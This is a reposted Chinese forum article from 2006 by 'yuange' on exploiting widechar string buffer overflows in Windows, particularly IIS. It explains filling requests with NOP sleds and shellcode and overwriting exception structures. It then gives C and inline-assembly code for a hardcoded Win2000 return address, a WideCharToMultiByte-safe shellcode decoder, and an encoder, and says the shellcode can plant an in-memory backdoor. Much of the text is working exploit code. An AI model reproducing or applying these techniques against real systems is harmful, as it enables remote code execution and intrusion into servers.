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金州 2006-1-19 07:49

[转载]widechar的字符串缓冲溢出攻击技术

文章作者:yuange

WINDOWS内部基本上是使用的widechar的字符串格式,因为没有
进行串长度检测或者错误的以multibyte长度检测等原因,往往会造
成缓冲溢出。像eeye发现的.printer的溢出、.ida的溢出其实主要
原因都是程序员错误对字符串以multibyte长度做检测,而buff用来
处理widechar字符串造成。由于这种溢出的特殊性以及这样的溢出
越来越多,所以我们需要讨论widechar形式的缓冲溢出攻击。其实
之前遇到很多这种形式的缓冲溢出,对这样的溢出也有了一定的研
究,所以基本上已经有了一些攻击方法,与大家一起交流。
   
   对于单字节语言,字符串转换成widechar格式后一般是
“\xx\00\xx\00”的形式,所以覆盖后返回地址也将是
“\00\xx\00\xx”这种形式,而WINDOWS下\00\xx\xx\xx的地址
一般是栈区,很少有dll加载在这个地址范围,所以要在\00\xx\00\xx
的地址寻找实现比较通用的跳转指令比较困难。当然如果本身有个可
传递的shellcode处在这个区域,又能够直接定位,那就可以直接实现
跳转。对于这种攻击,现在还没有稳定的通用的实现方法。不过对于
iis,因为开始时请求的很多域放在0x00xxxxxx这个区域里面,所以有
个试的方法,就是请求里面的很多域(像url、post域)都用大串空指令
加shellcode构成,所幸的是iis默认下对于请求长度限制是0x20000 ,
很大,好象还没有包含 post的数据,所以可以构造一个特殊请求,占
用大量内存,再溢出串使用 \00\xx\00\xx覆盖,只要这个\00\xx\00\xx
刚好是在请求的某个域的空指令代码区域里面,就能成功执行到
shellcode。刚开始攻击时,因为有大量请求了,一般请求的各个域
都超过\00xxxxxx的地址,所以一般会失败,但win2k下的iis5.0出错
后会自动重启动,这时成功几率就比较大了。选取合适的\00\xx\00\xx
覆盖返回地址,加上大量的空指令,能够达到50%左右的成功率。
shellcode实现代码可以成功后自动在内存里面开个后门,那样没有重
启动之前以后的攻击就是100%成功了。

  对于双字节语言,字符串转换成widechar格式后就不只是
“\xx\00\xx\00”的形式了,基本上与常规的溢出没什么区别,只是
要求溢出串要转换成widechar后是正常的溢出攻击串,这就要求先把
溢出串作为WideChar的形式经过WideCharToMultiByte转换。但不是所
有的串作为WideChar形式经过WideCharToMultiByte转换都合法,所以
就先精心编写了一段合法的WideChar串对其它shellcode解码,这就是
shellcodefnlock里面的代码,里面连绝对跳转jmp(\xeb不在合法的
WideChar范围)指令,过程调用call(后面的数据会出现\00\00或者
\ff\ff)都不能用,所以定位都是采用别的方法。因为下面示例代码
是采用的异常结构,此时ebx指向shellcode附近,所以如果不是使用
异常结构,将是esp指向shellcode附近,shellcodefnlock第一个
push ebx指令应该换成push esp,其实也可以两种情况都用push esp。
因为异常结构时esp会在ebx之前,但那段shellcode一样会定位到自身。
这样对于这种溢出,中(大陆简体中文、台湾的繁体中文)、日、韩三
种语言的测试代码都可以保证100%的成功。

  想到这个方法了后,主要难度是在编写shellcodefnlock代码上。
这需要熟悉cpu指令码范围与WideChar范围,能够用哪些指令,参数范
围等。这个代码调试的时候简直是累死了,想很多编码算法,每个算
法有哪些实现方法,每个实现方法需要些什么运算,哪些指令,参数
等,再一个个试能不能满足要求。不过调试通了就省心了,后来很多
程序直接使用的时候就体会到了享受原来成果的乐趣。 

 
   下面就是实现代码:

char  eipexceptwin2000cn[]="\x73\x67\xfa\x7f";  
//  push ebx ; ret  address  适用于异常结构的跳转

#define  FNENDLONG  0x08
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned  char temp;

shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
    ++shellcodefnadd;
    k=*(int *)shellcodefnadd;
    shellcodefnadd+=k;
    shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
    if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
/* 定位 shellcodefnlock的汇编代码 */


for(i=0;i<=0x10;i+=8){
    memcpy(widecharbuff+i,"\x90\x90\x58\x68",4);  // 0x58 pop eax, 0x68  push num32
    memcpy(widecharbuff+i+4,eipexceptwin2000cn,4);
}

/* 覆盖异常结构,连续覆盖,不需要精确定位,只要8字节对齐覆盖就可以 */
/* 0x58 0x68是为了跳过后面4字节 */

memcpy(widecharbuff+i,shellcodefnadd+k+8,2*wcslen(shellcodefnadd+k));

/* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */

i=2*wcslen(widecharbuff);
i=WideCharToMultiByte(0x3a8,0,widecharbuff,i,multibytebuff,0x1000,0,0);
i=strlen(multibytebuff);

/* 转换成MultiByte */
/*  0x3a8 是中文简体的代码页 */

memcpy(buff+OVERADD-OFFSETNUM+offset,multibytebuff,i);



一些变量定义:
#define  NOPCODE     0x4e    // INC EDX   0x90
#define  SHELLDATAW   0x6090
#define  SHELLDATAA   0x9090
#define  OFFSETNUM    0x8
#define  DATABASE    0x61



对shellcode解码代码的汇编代码:

void  shellcodefnlock()
{
   _asm{

    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop


unlockdataw:
    nop
    push  ebx
/*  可以通用 push esp  */
    pop  esi
loopload:
    lodsw
    cmp  ax,0x6099   // SHELLDATA
    jnz  loopload
    push esi
    push esi
    push esi
    pop  edi
looplock:    lodsw
    cmp  ax,NOPCODE  
    jz  toshell
    nop
    sub  al,DATABASE
    nop
    push eax
    pop  ecx
    lodsw
    nop
    sub  al,DATABASE
    lea  edx,dword ptr [eax+ecx*4+0x70]
    lea  edx,dword ptr [edx+ecx*4-0x70]
    lea  edx,dword ptr [edx+ecx*4+0x70]
    lea  edx,dword ptr [edx+ecx*4-0x70]
    push edx
    pop  eax

/*
    temp=shellcodefnadd[j];
    buff[OVERADD+offset+2*j]=DATABASE+temp/0x10;
    buff[OVERADD+offset+2*j+1]=DATABASE+temp%0x10;
 
    的逆运算,但这儿是双字节形式   
   就是0xa*0x10+0xb=0xab这么个算法,为了迁就指令范围弄得这么复杂

*/
    stosb
    jz  looplock
    jnz looplock
    nop
toshell:  pop  eax
    push eax
    push eax
    push eax
    ret
    nop
    _emit(0x99)
    _emit(0x60)
    _emit(0x0)
    _emit(0x0)
    _emit(0x0)
    _emit(0x0)
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
   
}
}  


对shellcode编码代码:

unsigned  char temp;

for(j=0;j<k;++j){
    temp=shellcodefnadd[j];
    buff[OVERADD+offset+2*j]=DATABASE+temp/0x10;
    buff[OVERADD+offset+2*j+1]=DATABASE+temp%0x10;
  
}

  只要对真实shellcode代码这样编码后,拷贝到buff的
WideCharToMultiByte后面就可以了。一般这儿可以一小段
代码定位MultiByte形式的shellcode代码,然后跳转执行就
可以了,毕竟所有真实代码都这样编码就太长了,很多溢出串
也有长度限制。以后要写别的这种形式的溢出程序就只需像写
一般溢出程序一样改写这实现跳转的shellcode就是了。

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